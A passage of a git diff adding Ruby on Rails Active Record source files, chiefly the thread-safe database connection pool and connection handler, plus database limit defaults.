+          subquery_column = "#{subquery_alias}.#{timestamp_column}"
+          subquery = query.arel.as(subquery_alias)
+          arel = Arel::SelectManager.new(subquery).project(select_values % subquery_column)
+        else
+          query = collection.unscope(:order)
+          query.select_values = [select_values % column]
+          arel = query.arel
+        end
+
+        result = connection.select_one(arel, nil)
+
+        if result.blank?
+          size = 0
+          timestamp = nil
+        else
+          size = result["size"]
+          timestamp = column_type.deserialize(result["timestamp"])
+        end
+
+      end
+
+      if timestamp
+        "#{key}-#{size}-#{timestamp.utc.to_s(cache_timestamp_format)}"
+      else
+        "#{key}-#{size}"
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
new file mode 100644
index 0000000000..c11b7b012f
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -0,0 +1,989 @@
+# frozen_string_literal: true
+
+require "thread"
+require "concurrent/map"
+require "monitor"
+
+module ActiveRecord
+  # Raised when a connection could not be obtained within the connection
+  # acquisition timeout period: because max connections in pool
+  # are in use.
+  class ConnectionTimeoutError < ConnectionNotEstablished
+  end
+
+  # Raised when a pool was unable to get ahold of all its connections
+  # to perform a "group" action such as
+  # {ActiveRecord::Base.connection_pool.disconnect!}[rdoc-ref:ConnectionAdapters::ConnectionPool#disconnect!]
+  # or {ActiveRecord::Base.clear_reloadable_connections!}[rdoc-ref:ConnectionAdapters::ConnectionHandler#clear_reloadable_connections!].
+  class ExclusiveConnectionTimeoutError < ConnectionTimeoutError
+  end
+
+  module ConnectionAdapters
+    # Connection pool base class for managing Active Record database
+    # connections.
+    #
+    # == Introduction
+    #
+    # A connection pool synchronizes thread access to a limited number of
+    # database connections. The basic idea is that each thread checks out a
+    # database connection from the pool, uses that connection, and checks the
+    # connection back in. ConnectionPool is completely thread-safe, and will
+    # ensure that a connection cannot be used by two threads at the same time,
+    # as long as ConnectionPool's contract is correctly followed. It will also
+    # handle cases in which there are more threads than connections: if all
+    # connections have been checked out, and a thread tries to checkout a
+    # connection anyway, then ConnectionPool will wait until some other thread
+    # has checked in a connection.
+    #
+    # == Obtaining (checking out) a connection
+    #
+    # Connections can be obtained and used from a connection pool in several
+    # ways:
+    #
+    # 1. Simply use {ActiveRecord::Base.connection}[rdoc-ref:ConnectionHandling.connection]
+    #    as with Active Record 2.1 and
+    #    earlier (pre-connection-pooling). Eventually, when you're done with
+    #    the connection(s) and wish it to be returned to the pool, you call
+    #    {ActiveRecord::Base.clear_active_connections!}[rdoc-ref:ConnectionAdapters::ConnectionHandler#clear_active_connections!].
+    #    This will be the default behavior for Active Record when used in conjunction with
+    #    Action Pack's request handling cycle.
+    # 2. Manually check out a connection from the pool with
+    #    {ActiveRecord::Base.connection_pool.checkout}[rdoc-ref:#checkout]. You are responsible for
+    #    returning this connection to the pool when finished by calling
+    #    {ActiveRecord::Base.connection_pool.checkin(connection)}[rdoc-ref:#checkin].
+    # 3. Use {ActiveRecord::Base.connection_pool.with_connection(&block)}[rdoc-ref:#with_connection], which
+    #    obtains a connection, yields it as the sole argument to the block,
+    #    and returns it to the pool after the block completes.
+    #
+    # Connections in the pool are actually AbstractAdapter objects (or objects
+    # compatible with AbstractAdapter's interface).
+    #
+    # == Options
+    #
+    # There are several connection-pooling-related options that you can add to
+    # your database connection configuration:
+    #
+    # * +pool+: number indicating size of connection pool (default 5)
+    # * +checkout_timeout+: number of seconds to block and wait for a connection
+    #   before giving up and raising a timeout error (default 5 seconds).
+    # * +reaping_frequency+: frequency in seconds to periodically run the
+    #   Reaper, which attempts to find and recover connections from dead
+    #   threads, which can occur if a programmer forgets to close a
+    #   connection at the end of a thread or a thread dies unexpectedly.
+    #   Regardless of this setting, the Reaper will be invoked before every
+    #   blocking wait. (Default +nil+, which means don't schedule the Reaper).
+    #
+    #--
+    # Synchronization policy:
+    # * all public methods can be called outside +synchronize+
+    # * access to these instance variables needs to be in +synchronize+:
+    #   * @connections
+    #   * @now_connecting
+    # * private methods that require being called in a +synchronize+ blocks
+    #   are now explicitly documented
+    class ConnectionPool
+      # Threadsafe, fair, FIFO queue.  Meant to be used by ConnectionPool
+      # with which it shares a Monitor.  But could be a generic Queue.
+      #
+      # The Queue in stdlib's 'thread' could replace this class except
+      # stdlib's doesn't support waiting with a timeout.
+      class Queue
+        def initialize(lock = Monitor.new)
+          @lock = lock
+          @cond = @lock.new_cond
+          @num_waiting = 0
+          @queue = []
+        end
+
+        # Test if any threads are currently waiting on the queue.
+        def any_waiting?
+          synchronize do
+            @num_waiting > 0
+          end
+        end
+
+        # Returns the number of threads currently waiting on this
+        # queue.
+        def num_waiting
+          synchronize do
+            @num_waiting
+          end
+        end
+
+        # Add +element+ to the queue.  Never blocks.
+        def add(element)
+          synchronize do
+            @queue.push element
+            @cond.signal
+          end
+        end
+
+        # If +element+ is in the queue, remove and return it, or +nil+.
+        def delete(element)
+          synchronize do
+            @queue.delete(element)
+          end
+        end
+
+        # Remove all elements from the queue.
+        def clear
+          synchronize do
+            @queue.clear
+          end
+        end
+
+        # Remove the head of the queue.
+        #
+        # If +timeout+ is not given, remove and return the head the
+        # queue if the number of available elements is strictly
+        # greater than the number of threads currently waiting (that
+        # is, don't jump ahead in line).  Otherwise, return +nil+.
+        #
+        # If +timeout+ is given, block if there is no element
+        # available, waiting up to +timeout+ seconds for an element to
+        # become available.
+        #
+        # Raises:
+        # - ActiveRecord::ConnectionTimeoutError if +timeout+ is given and no element
+        # becomes available within +timeout+ seconds,
+        def poll(timeout = nil)
+          synchronize { internal_poll(timeout) }
+        end
+
+        private
+
+          def internal_poll(timeout)
+            no_wait_poll || (timeout && wait_poll(timeout))
+          end
+
+          def synchronize(&block)
+            @lock.synchronize(&block)
+          end
+
+          # Test if the queue currently contains any elements.
+          def any?
+            !@queue.empty?
+          end
+
+          # A thread can remove an element from the queue without
+          # waiting if and only if the number of currently available
+          # connections is strictly greater than the number of waiting
+          # threads.
+          def can_remove_no_wait?
+            @queue.size > @num_waiting
+          end
+
+          # Removes and returns the head of the queue if possible, or +nil+.
+          def remove
+            @queue.shift
+          end
+
+          # Remove and return the head the queue if the number of
+          # available elements is strictly greater than the number of
+          # threads currently waiting.  Otherwise, return +nil+.
+          def no_wait_poll
+            remove if can_remove_no_wait?
+          end
+
+          # Waits on the queue up to +timeout+ seconds, then removes and
+          # returns the head of the queue.
+          def wait_poll(timeout)
+            @num_waiting += 1
+
+            t0 = Time.now
+            elapsed = 0
+            loop do
+              @cond.wait(timeout - elapsed)
+
+              return remove if any?
+
+              elapsed = Time.now - t0
+              if elapsed >= timeout
+                msg = "could not obtain a connection from the pool within %0.3f seconds (waited %0.3f seconds); all pooled connections were in use" %
+                  [timeout, elapsed]
+                raise ConnectionTimeoutError, msg
+              end
+            end
+          ensure
+            @num_waiting -= 1
+          end
+      end
+
+      # Adds the ability to turn a basic fair FIFO queue into one
+      # biased to some thread.
+      module BiasableQueue # :nodoc:
+        class BiasedConditionVariable # :nodoc:
+          # semantics of condition variables guarantee that +broadcast+, +broadcast_on_biased+,
+          # +signal+ and +wait+ methods are only called while holding a lock
+          def initialize(lock, other_cond, preferred_thread)
+            @real_cond = lock.new_cond
+            @other_cond = other_cond
+            @preferred_thread = preferred_thread
+            @num_waiting_on_real_cond = 0
+          end
+
+          def broadcast
+            broadcast_on_biased
+            @other_cond.broadcast
+          end
+
+          def broadcast_on_biased
+            @num_waiting_on_real_cond = 0
+            @real_cond.broadcast
+          end
+
+          def signal
+            if @num_waiting_on_real_cond > 0
+              @num_waiting_on_real_cond -= 1
+              @real_cond
+            else
+              @other_cond
+            end.signal
+          end
+
+          def wait(timeout)
+            if Thread.current == @preferred_thread
+              @num_waiting_on_real_cond += 1
+              @real_cond
+            else
+              @other_cond
+            end.wait(timeout)
+          end
+        end
+
+        def with_a_bias_for(thread)
+          previous_cond = nil
+          new_cond      = nil
+          synchronize do
+            previous_cond = @cond
+            @cond = new_cond = BiasedConditionVariable.new(@lock, @cond, thread)
+          end
+          yield
+        ensure
+          synchronize do
+            @cond = previous_cond if previous_cond
+            new_cond.broadcast_on_biased if new_cond # wake up any remaining sleepers
+          end
+        end
+      end
+
+      # Connections must be leased while holding the main pool mutex. This is
+      # an internal subclass that also +.leases+ returned connections while
+      # still in queue's critical section (queue synchronizes with the same
+      # +@lock+ as the main pool) so that a returned connection is already
+      # leased and there is no need to re-enter synchronized block.
+      class ConnectionLeasingQueue < Queue # :nodoc:
+        include BiasableQueue
+
+        private
+          def internal_poll(timeout)
+            conn = super
+            conn.lease if conn
+            conn
+          end
+      end
+
+      # Every +frequency+ seconds, the reaper will call +reap+ on +pool+.
+      # A reaper instantiated with a +nil+ frequency will never reap the
+      # connection pool.
+      #
+      # Configure the frequency by setting "reaping_frequency" in your
+      # database yaml file.
+      class Reaper
+        attr_reader :pool, :frequency
+
+        def initialize(pool, frequency)
+          @pool      = pool
+          @frequency = frequency
+        end
+
+        def run
+          return unless frequency
+          Thread.new(frequency, pool) { |t, p|
+            loop do
+              sleep t
+              p.reap
+            end
+          }
+        end
+      end
+
+      include MonitorMixin
+      include QueryCache::ConnectionPoolConfiguration
+
+      attr_accessor :automatic_reconnect, :checkout_timeout, :schema_cache
+      attr_reader :spec, :connections, :size, :reaper
+
+      # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
+      # object which describes database connection information (e.g. adapter,
+      # host name, username, password, etc), as well as the maximum size for
+      # this ConnectionPool.
+      #
+      # The default ConnectionPool maximum size is 5.
+      def initialize(spec)
+        super()
+
+        @spec = spec
+
+        @checkout_timeout = (spec.config[:checkout_timeout] && spec.config[:checkout_timeout].to_f) || 5
+        @reaper = Reaper.new(self, (spec.config[:reaping_frequency] && spec.config[:reaping_frequency].to_f))
+        @reaper.run
+
+        # default max pool size to 5
+        @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
+
+        # This variable tracks the cache of threads mapped to reserved connections, with the
+        # sole purpose of speeding up the +connection+ method. It is not the authoritative
+        # registry of which thread owns which connection. Connection ownership is tracked by
+        # the +connection.owner+ attr on each +connection+ instance.
+        # The invariant works like this: if there is mapping of <tt>thread => conn</tt>,
+        # then that +thread+ does indeed own that +conn+. However, an absence of a such
+        # mapping does not mean that the +thread+ doesn't own the said connection. In
+        # that case +conn.owner+ attr should be consulted.
+        # Access and modification of +@thread_cached_conns+ does not require
+        # synchronization.
+        @thread_cached_conns = Concurrent::Map.new(initial_capacity: @size)
+
+        @connections         = []
+        @automatic_reconnect = true
+
+        # Connection pool allows for concurrent (outside the main +synchronize+ section)
+        # establishment of new connections. This variable tracks the number of threads
+        # currently in the process of independently establishing connections to the DB.
+        @now_connecting = 0
+
+        @threads_blocking_new_connections = 0
+
+        @available = ConnectionLeasingQueue.new self
+
+        @lock_thread = false
+      end
+
+      def lock_thread=(lock_thread)
+        if lock_thread
+          @lock_thread = Thread.current
+        else
+          @lock_thread = nil
+        end
+      end
+
+      # Retrieve the connection associated with the current thread, or call
+      # #checkout to obtain one if necessary.
+      #
+      # #connection can be called any number of times; the connection is
+      # held in a cache keyed by a thread.
+      def connection
+        @thread_cached_conns[connection_cache_key(@lock_thread || Thread.current)] ||= checkout
+      end
+
+      # Returns true if there is an open connection being used for the current thread.
+      #
+      # This method only works for connections that have been obtained through
+      # #connection or #with_connection methods. Connections obtained through
+      # #checkout will not be detected by #active_connection?
+      def active_connection?
+        @thread_cached_conns[connection_cache_key(Thread.current)]
+      end
+
+      # Signal that the thread is finished with the current connection.
+      # #release_connection releases the connection-thread association
+      # and returns the connection to the pool.
+      #
+      # This method only works for connections that have been obtained through
+      # #connection or #with_connection methods, connections obtained through
+      # #checkout will not be automatically released.
+      def release_connection(owner_thread = Thread.current)
+        if conn = @thread_cached_conns.delete(connection_cache_key(owner_thread))
+          checkin conn
+        end
+      end
+
+      # If a connection obtained through #connection or #with_connection methods
+      # already exists yield it to the block. If no such connection
+      # exists checkout a connection, yield it to the block, and checkin the
+      # connection when finished.
+      def with_connection
+        unless conn = @thread_cached_conns[connection_cache_key(Thread.current)]
+          conn = connection
+          fresh_connection = true
+        end
+        yield conn
+      ensure
+        release_connection if fresh_connection
+      end
+
+      # Returns true if a connection has already been opened.
+      def connected?
+        synchronize { @connections.any? }
+      end
+
+      # Disconnects all connections in the pool, and clears the pool.
+      #
+      # Raises:
+      # - ActiveRecord::ExclusiveConnectionTimeoutError if unable to gain ownership of all
+      #   connections in the pool within a timeout interval (default duration is
+      #   <tt>spec.config[:checkout_timeout] * 2</tt> seconds).
+      def disconnect(raise_on_acquisition_timeout = true)
+        with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do
+          synchronize do
+            @connections.each do |conn|
+              if conn.in_use?
+                conn.steal!
+                checkin conn
+              end
+              conn.disconnect!
+            end
+            @connections = []
+            @available.clear
+          end
+        end
+      end
+
+      # Disconnects all connections in the pool, and clears the pool.
+      #
+      # The pool first tries to gain ownership of all connections. If unable to
+      # do so within a timeout interval (default duration is
+      # <tt>spec.config[:checkout_timeout] * 2</tt> seconds), then the pool is forcefully
+      # disconnected without any regard for other connection owning threads.
+      def disconnect!
+        disconnect(false)
+      end
+
+      # Clears the cache which maps classes and re-connects connections that
+      # require reloading.
+      #
+      # Raises:
+      # - ActiveRecord::ExclusiveConnectionTimeoutError if unable to gain ownership of all
+      #   connections in the pool within a timeout interval (default duration is
+      #   <tt>spec.config[:checkout_timeout] * 2</tt> seconds).
+      def clear_reloadable_connections(raise_on_acquisition_timeout = true)
+        with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do
+          synchronize do
+            @connections.each do |conn|
+              if conn.in_use?
+                conn.steal!
+                checkin conn
+              end
+              conn.disconnect! if conn.requires_reloading?
+            end
+            @connections.delete_if(&:requires_reloading?)
+            @available.clear
+          end
+        end
+      end
+
+      # Clears the cache which maps classes and re-connects connections that
+      # require reloading.
+      #
+      # The pool first tries to gain ownership of all connections. If unable to
+      # do so within a timeout interval (default duration is
+      # <tt>spec.config[:checkout_timeout] * 2</tt> seconds), then the pool forcefully
+      # clears the cache and reloads connections without any regard for other
+      # connection owning threads.
+      def clear_reloadable_connections!
+        clear_reloadable_connections(false)
+      end
+
+      # Check-out a database connection from the pool, indicating that you want
+      # to use it. You should call #checkin when you no longer need this.
+      #
+      # This is done by either returning and leasing existing connection, or by
+      # creating a new connection and leasing it.
+      #
+      # If all connections are leased and the pool is at capacity (meaning the
+      # number of currently leased connections is greater than or equal to the
+      # size limit set), an ActiveRecord::ConnectionTimeoutError exception will be raised.
+      #
+      # Returns: an AbstractAdapter object.
+      #
+      # Raises:
+      # - ActiveRecord::ConnectionTimeoutError no connection can be obtained from the pool.
+      def checkout(checkout_timeout = @checkout_timeout)
+        checkout_and_verify(acquire_connection(checkout_timeout))
+      end
+
+      # Check-in a database connection back into the pool, indicating that you
+      # no longer need this connection.
+      #
+      # +conn+: an AbstractAdapter object, which was obtained by earlier by
+      # calling #checkout on this pool.
+      def checkin(conn)
+        conn.lock.synchronize do
+          synchronize do
+            remove_connection_from_thread_cache conn
+
+            conn._run_checkin_callbacks do
+              conn.expire
+            end
+
+            @available.add conn
+          end
+        end
+      end
+
+      # Remove a connection from the connection pool. The connection will
+      # remain open and active but will no longer be managed by this pool.
+      def remove(conn)
+        needs_new_connection = false
+
+        synchronize do
+          remove_connection_from_thread_cache conn
+
+          @connections.delete conn
+          @available.delete conn
+
+          # @available.any_waiting? => true means that prior to removing this
+          # conn, the pool was at its max size (@connections.size == @size).
+          # This would mean that any threads stuck waiting in the queue wouldn't
+          # know they could checkout_new_connection, so let's do it for them.
+          # Because condition-wait loop is encapsulated in the Queue class
+          # (that in turn is oblivious to ConnectionPool implementation), threads
+          # that are "stuck" there are helpless. They have no way of creating
+          # new connections and are completely reliant on us feeding available
+          # connections into the Queue.
+          needs_new_connection = @available.any_waiting?
+        end
+
+        # This is intentionally done outside of the synchronized section as we
+        # would like not to hold the main mutex while checking out new connections.
+        # Thus there is some chance that needs_new_connection information is now
+        # stale, we can live with that (bulk_make_new_connections will make
+        # sure not to exceed the pool's @size limit).
+        bulk_make_new_connections(1) if needs_new_connection
+      end
+
+      # Recover lost connections for the pool. A lost connection can occur if
+      # a programmer forgets to checkin a connection at the end of a thread
+      # or a thread dies unexpectedly.
+      def reap
+        stale_connections = synchronize do
+          @connections.select do |conn|
+            conn.in_use? && !conn.owner.alive?
+          end.each do |conn|
+            conn.steal!
+          end
+        end
+
+        stale_connections.each do |conn|
+          if conn.active?
+            conn.reset!
+            checkin conn
+          else
+            remove conn
+          end
+        end
+      end
+
+      def num_waiting_in_queue # :nodoc:
+        @available.num_waiting
+      end
+
+      # Return connection pool's usage statistic
+      # Example:
+      #
+      #    ActiveRecord::Base.connection_pool.stat # => { size: 15, connections: 1, busy: 1, dead: 0, idle: 0, waiting: 0, checkout_timeout: 5 }
+      def stat
+        synchronize do
+          {
+            size: size,
+            connections: @connections.size,
+            busy: @connections.count { |c| c.in_use? && c.owner.alive? },
+            dead: @connections.count { |c| c.in_use? && !c.owner.alive? },
+            idle: @connections.count { |c| !c.in_use? },
+            waiting: num_waiting_in_queue,
+            checkout_timeout: checkout_timeout
+          }
+        end
+      end
+
+      private
+        #--
+        # this is unfortunately not concurrent
+        def bulk_make_new_connections(num_new_conns_needed)
+          num_new_conns_needed.times do
+            # try_to_checkout_new_connection will not exceed pool's @size limit
+            if new_conn = try_to_checkout_new_connection
+              # make the new_conn available to the starving threads stuck @available Queue
+              checkin(new_conn)
+            end
+          end
+        end
+
+        #--
+        # From the discussion on GitHub:
+        #  https://github.com/rails/rails/pull/14938#commitcomment-6601951
+        # This hook-in method allows for easier monkey-patching fixes needed by
+        # JRuby users that use Fibers.
+        def connection_cache_key(thread)
+          thread
+        end
+
+        # Take control of all existing connections so a "group" action such as
+        # reload/disconnect can be performed safely. It is no longer enough to
+        # wrap it in +synchronize+ because some pool's actions are allowed
+        # to be performed outside of the main +synchronize+ block.
+        def with_exclusively_acquired_all_connections(raise_on_acquisition_timeout = true)
+          with_new_connections_blocked do
+            attempt_to_checkout_all_existing_connections(raise_on_acquisition_timeout)
+            yield
+          end
+        end
+
+        def attempt_to_checkout_all_existing_connections(raise_on_acquisition_timeout = true)
+          collected_conns = synchronize do
+            # account for our own connections
+            @connections.select { |conn| conn.owner == Thread.current }
+          end
+
+          newly_checked_out = []
+          timeout_time      = Time.now + (@checkout_timeout * 2)
+
+          @available.with_a_bias_for(Thread.current) do
+            loop do
+              synchronize do
+                return if collected_conns.size == @connections.size && @now_connecting == 0
+                remaining_timeout = timeout_time - Time.now
+                remaining_timeout = 0 if remaining_timeout < 0
+                conn = checkout_for_exclusive_access(remaining_timeout)
+                collected_conns   << conn
+                newly_checked_out << conn
+              end
+            end
+          end
+        rescue ExclusiveConnectionTimeoutError
+          # <tt>raise_on_acquisition_timeout == false</tt> means we are directed to ignore any
+          # timeouts and are expected to just give up: we've obtained as many connections
+          # as possible, note that in a case like that we don't return any of the
+          # +newly_checked_out+ connections.
+
+          if raise_on_acquisition_timeout
+            release_newly_checked_out = true
+            raise
+          end
+        rescue Exception # if something else went wrong
+          # this can't be a "naked" rescue, because we have should return conns
+          # even for non-StandardErrors
+          release_newly_checked_out = true
+          raise
+        ensure
+          if release_newly_checked_out && newly_checked_out
+            # releasing only those conns that were checked out in this method, conns
+            # checked outside this method (before it was called) are not for us to release
+            newly_checked_out.each { |conn| checkin(conn) }
+          end
+        end
+
+        #--
+        # Must be called in a synchronize block.
+        def checkout_for_exclusive_access(checkout_timeout)
+          checkout(checkout_timeout)
+        rescue ConnectionTimeoutError
+          # this block can't be easily moved into attempt_to_checkout_all_existing_connections's
+          # rescue block, because doing so would put it outside of synchronize section, without
+          # being in a critical section thread_report might become inaccurate
+          msg = "could not obtain ownership of all database connections in #{checkout_timeout} seconds".dup
+
+          thread_report = []
+          @connections.each do |conn|
+            unless conn.owner == Thread.current
+              thread_report << "#{conn} is owned by #{conn.owner}"
+            end
+          end
+
+          msg << " (#{thread_report.join(', ')})" if thread_report.any?
+
+          raise ExclusiveConnectionTimeoutError, msg
+        end
+
+        def with_new_connections_blocked
+          synchronize do
+            @threads_blocking_new_connections += 1
+          end
+
+          yield
+        ensure
+          num_new_conns_required = 0
+
+          synchronize do
+            @threads_blocking_new_connections -= 1
+
+            if @threads_blocking_new_connections.zero?
+              @available.clear
+
+              num_new_conns_required = num_waiting_in_queue
+
+              @connections.each do |conn|
+                next if conn.in_use?
+
+                @available.add conn
+                num_new_conns_required -= 1
+              end
+            end
+          end
+
+          bulk_make_new_connections(num_new_conns_required) if num_new_conns_required > 0
+        end
+
+        # Acquire a connection by one of 1) immediately removing one
+        # from the queue of available connections, 2) creating a new
+        # connection if the pool is not at capacity, 3) waiting on the
+        # queue for a connection to become available.
+        #
+        # Raises:
+        # - ActiveRecord::ConnectionTimeoutError if a connection could not be acquired
+        #
+        #--
+        # Implementation detail: the connection returned by +acquire_connection+
+        # will already be "+connection.lease+ -ed" to the current thread.
+        def acquire_connection(checkout_timeout)
+          # NOTE: we rely on +@available.poll+ and +try_to_checkout_new_connection+ to
+          # +conn.lease+ the returned connection (and to do this in a +synchronized+
+          # section). This is not the cleanest implementation, as ideally we would
+          # <tt>synchronize { conn.lease }</tt> in this method, but by leaving it to +@available.poll+
+          # and +try_to_checkout_new_connection+ we can piggyback on +synchronize+ sections
+          # of the said methods and avoid an additional +synchronize+ overhead.
+          if conn = @available.poll || try_to_checkout_new_connection
+            conn
+          else
+            reap
+            @available.poll(checkout_timeout)
+          end
+        end
+
+        #--
+        # if owner_thread param is omitted, this must be called in synchronize block
+        def remove_connection_from_thread_cache(conn, owner_thread = conn.owner)
+          @thread_cached_conns.delete_pair(connection_cache_key(owner_thread), conn)
+        end
+        alias_method :release, :remove_connection_from_thread_cache
+
+        def new_connection
+          Base.send(spec.adapter_method, spec.config).tap do |conn|
+            conn.schema_cache = schema_cache.dup if schema_cache
+          end
+        end
+
+        # If the pool is not at a +@size+ limit, establish new connection. Connecting
+        # to the DB is done outside main synchronized section.
+        #--
+        # Implementation constraint: a newly established connection returned by this
+        # method must be in the +.leased+ state.
+        def try_to_checkout_new_connection
+          # first in synchronized section check if establishing new conns is allowed
+          # and increment @now_connecting, to prevent overstepping this pool's @size
+          # constraint
+          do_checkout = synchronize do
+            if @threads_blocking_new_connections.zero? && (@connections.size + @now_connecting) < @size
+              @now_connecting += 1
+            end
+          end
+          if do_checkout
+            begin
+              # if successfully incremented @now_connecting establish new connection
+              # outside of synchronized section
+              conn = checkout_new_connection
+            ensure
+              synchronize do
+                if conn
+                  adopt_connection(conn)
+                  # returned conn needs to be already leased
+                  conn.lease
+                end
+                @now_connecting -= 1
+              end
+            end
+          end
+        end
+
+        def adopt_connection(conn)
+          conn.pool = self
+          @connections << conn
+        end
+
+        def checkout_new_connection
+          raise ConnectionNotEstablished unless @automatic_reconnect
+          new_connection
+        end
+
+        def checkout_and_verify(c)
+          c._run_checkout_callbacks do
+            c.verify!
+          end
+          c
+        rescue
+          remove c
+          c.disconnect!
+          raise
+        end
+    end
+
+    # ConnectionHandler is a collection of ConnectionPool objects. It is used
+    # for keeping separate connection pools that connect to different databases.
+    #
+    # For example, suppose that you have 5 models, with the following hierarchy:
+    #
+    #   class Author < ActiveRecord::Base
+    #   end
+    #
+    #   class BankAccount < ActiveRecord::Base
+    #   end
+    #
+    #   class Book < ActiveRecord::Base
+    #     establish_connection :library_db
+    #   end
+    #
+    #   class ScaryBook < Book
+    #   end
+    #
+    #   class GoodBook < Book
+    #   end
+    #
+    # And a database.yml that looked like this:
+    #
+    #   development:
+    #     database: my_application
+    #     host: localhost
+    #
+    #   library_db:
+    #     database: library
+    #     host: some.library.org
+    #
+    # Your primary database in the development environment is "my_application"
+    # but the Book model connects to a separate database called "library_db"
+    # (this can even be a database on a different machine).
+    #
+    # Book, ScaryBook and GoodBook will all use the same connection pool to
+    # "library_db" while Author, BankAccount, and any other models you create
+    # will use the default connection pool to "my_application".
+    #
+    # The various connection pools are managed by a single instance of
+    # ConnectionHandler accessible via ActiveRecord::Base.connection_handler.
+    # All Active Record models use this handler to determine the connection pool that they
+    # should use.
+    #
+    # The ConnectionHandler class is not coupled with the Active models, as it has no knowledge
+    # about the model. The model needs to pass a specification name to the handler,
+    # in order to look up the correct connection pool.
+    class ConnectionHandler
+      def initialize
+        # These caches are keyed by spec.name (ConnectionSpecification#name).
+        @owner_to_pool = Concurrent::Map.new(initial_capacity: 2) do |h, k|
+          h[k] = Concurrent::Map.new(initial_capacity: 2)
+        end
+      end
+
+      def connection_pool_list
+        owner_to_pool.values.compact
+      end
+      alias :connection_pools :connection_pool_list
+
+      def establish_connection(config)
+        resolver = ConnectionSpecification::Resolver.new(Base.configurations)
+        spec = resolver.spec(config)
+
+        remove_connection(spec.name)
+
+        message_bus = ActiveSupport::Notifications.instrumenter
+        payload = {
+          connection_id: object_id
+        }
+        if spec
+          payload[:spec_name] = spec.name
+          payload[:config] = spec.config
+        end
+
+        message_bus.instrument("!connection.active_record", payload) do
+          owner_to_pool[spec.name] = ConnectionAdapters::ConnectionPool.new(spec)
+        end
+
+        owner_to_pool[spec.name]
+      end
+
+      # Returns true if there are any active connections among the connection
+      # pools that the ConnectionHandler is managing.
+      def active_connections?
+        connection_pool_list.any?(&:active_connection?)
+      end
+
+      # Returns any connections in use by the current thread back to the pool,
+      # and also returns connections to the pool cached by threads that are no
+      # longer alive.
+      def clear_active_connections!
+        connection_pool_list.each(&:release_connection)
+      end
+
+      # Clears the cache which maps classes.
+      #
+      # See ConnectionPool#clear_reloadable_connections! for details.
+      def clear_reloadable_connections!
+        connection_pool_list.each(&:clear_reloadable_connections!)
+      end
+
+      def clear_all_connections!
+        connection_pool_list.each(&:disconnect!)
+      end
+
+      # Locate the connection of the nearest super class. This can be an
+      # active or defined connection: if it is the latter, it will be
+      # opened and set as the active connection for the class it was defined
+      # for (not necessarily the current class).
+      def retrieve_connection(spec_name) #:nodoc:
+        pool = retrieve_connection_pool(spec_name)
+        raise ConnectionNotEstablished, "No connection pool with '#{spec_name}' found." unless pool
+        conn = pool.connection
+        raise ConnectionNotEstablished, "No connection for '#{spec_name}' in connection pool" unless conn
+        conn
+      end
+
+      # Returns true if a connection that's accessible to this class has
+      # already been opened.
+      def connected?(spec_name)
+        conn = retrieve_connection_pool(spec_name)
+        conn && conn.connected?
+      end
+
+      # Remove the connection for this class. This will close the active
+      # connection and the defined connection (if they exist). The result
+      # can be used as an argument for #establish_connection, for easily
+      # re-establishing the connection.
+      def remove_connection(spec_name)
+        if pool = owner_to_pool.delete(spec_name)
+          pool.automatic_reconnect = false
+          pool.disconnect!
+          pool.spec.config
+        end
+      end
+
+      # Retrieving the connection pool happens a lot, so we cache it in @owner_to_pool.
+      # This makes retrieving the connection pool O(1) once the process is warm.
+      # When a connection is established or removed, we invalidate the cache.
+      def retrieve_connection_pool(spec_name)
+        owner_to_pool.fetch(spec_name) do
+          # Check if a connection was previously established in an ancestor process,
+          # which may have been forked.
+          if ancestor_pool = pool_from_any_process_for(spec_name)
+            # A connection was established in an ancestor process that must have
+            # subsequently forked. We can't reuse the connection, but we can copy
+            # the specification and establish a new connection with it.
+            establish_connection(ancestor_pool.spec.to_hash).tap do |pool|
+              pool.schema_cache = ancestor_pool.schema_cache if ancestor_pool.schema_cache
+            end
+          else
+            owner_to_pool[spec_name] = nil
+          end
+        end
+      end
+
+      private
+
+        def owner_to_pool
+          @owner_to_pool[Process.pid]
+        end
+
+        def pool_from_any_process_for(spec_name)
+          owner_to_pool = @owner_to_pool.values.reverse.find { |v| v[spec_name] }
+          owner_to_pool && owner_to_pool[spec_name]
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
new file mode 100644
index 0000000000..7a9e7add24
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module DatabaseLimits
+      # Returns the maximum length of a table alias.
+      def table_alias_length
+        255
+      end
+
+      # Returns the maximum length of a column name.
+      def column_name_length
+        64
+      end
+
+      # Returns the maximum length of a table name.
+      def table_name_length
+        64
+      end
+
+      # Returns the maximum allowed length for an index name. This
+      # limit is enforced by \Rails and is less than or equal to
+      # #index_name_length. The gap between
+      # #index_name_length is to allow internal \Rails
+      # operations to use prefixes in temporary operations.
+      def allowed_index_name_length
+        index_name_length
+      end
+
+      # Returns the maximum length of an index name.
+      def index_name_length
+        64
+      end
+
+      # Returns the maximum number of columns per table.
+      def columns_per_table
+        1024
+      end
+
+      # Returns the maximum number of indexes per table.
+      def indexes_per_table
+        16
+      end
+
+      # Returns the maximum number of columns in a multicolumn index.
+      def columns_per_multicolumn_index
+        16
+      end
+
+      # Returns the maximum number of elements in an IN (x,y,z) clause.
+      # +nil+ means no limit.
+      def in_clause_length
+        nil
+      end
+
+      # Returns the maximum length of an SQL query.
+      def sql_query_length
+        1048575
+      end
+
+      # Returns maximum number of joins in a single query.
+      def joins_per_query
+        256
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
new file mode 100644
index 0000000000..314a35207b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -0,0 +1,485 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module DatabaseStatements
+      def initialize
+        super
+        reset_transaction
+      end
